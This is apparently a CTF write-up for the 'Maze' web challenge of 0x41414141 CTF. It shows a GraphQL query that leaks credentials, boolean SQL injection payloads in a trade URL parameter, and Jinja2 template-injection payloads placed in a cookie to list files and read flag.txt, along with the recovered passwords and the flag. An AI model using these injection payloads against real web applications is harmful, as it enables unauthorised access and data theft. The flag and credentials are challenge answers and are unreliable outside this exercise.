Maze
- CTF: 0x41414141 CTF
- Category: Web
- Writeups
Given
maze corparate just started a new trading platform, let's hope its secure because I got all my funds over there
EU instance (link)
US instance (link)
author: pop_eax
Analysis
Looking at the linked page shows that sql injection on the login does not seem to work.
Checking robots.txt gives us.
/sup3r_secr37_@p1
Heading there gives us a graphiql endpoint.
The graphiql endpoint doesn't seem to be open for sql injections either.
After looking at the schema and trying to extract all the information we ended up with the following query:
{
allTraders(first: 10) {
edges {
node {
coins(first: 10) {
edges {
node {
title
password
}
}
}
}
}
}
}
which returned:
{
"data": {
"allTraders": {
"edges": [
{
"node": {
"coins": {
"edges": [
{
"node": {
"title": "XFT",
"password": "iigvj3xMVuSI9GzXhJJWNeI"
}
}
]
}
}
}
]
}
}
}
Logging in with XFT/iigvj3xMVuSI9GzXhJJWNeI
works and gives us a page with three different subpages and a link to /admin
.
The subpages have a query string http://207.180.200.166:9000/trade?coin=xft
Trying out xft' and 1=1--
seem to work, while xft' and 1=2--
does not.
Sql injection time!
Through sql injection we mapped out the database and found the admin table, with the username / pw admin/p0To3zTQuvFDzjhO9
.
We log in with those credentials and end up on a page that is mocking our presence.
The word skid is also set in the cookie called name
. There doesn't seem to be anywhere in the client side code that actually gets the cookie. Making us think that the variable is parsed server side through some templating engines.
After a LOT of trial and error we finally found a templating language that seemed to fit the bill. By sending {{self.__class__}}
as the cookie we identified that the server was running jinja2
for templating. Now that we know it is python we wanted to look for popular web servers, we tried to look for standard flask
functions like g
, config
and url_for
. We found all of them.
Now it was finally time for the exploit.
Implementation
Knowing that url_for
give us access to __globals__
we could easily use that to list the current directory with
{{ url_for.__globals__.os.listdir('./') }}
which responded with
['app.py', 'static', 'templates', 'note', 'flag.txt', 'requirements.txt', 'coins.db', 'wsgi.py', 'Dockerfile', 'run.sh', '__pycache__', 'sandbox']
flag.txt seems relevant!
{{ url_for.__globals__.os.__builtins__.open('flag.txt').read() }}
flag{u_35c@p3d_7h3_m@z3_5ucc3ssfu77y9933}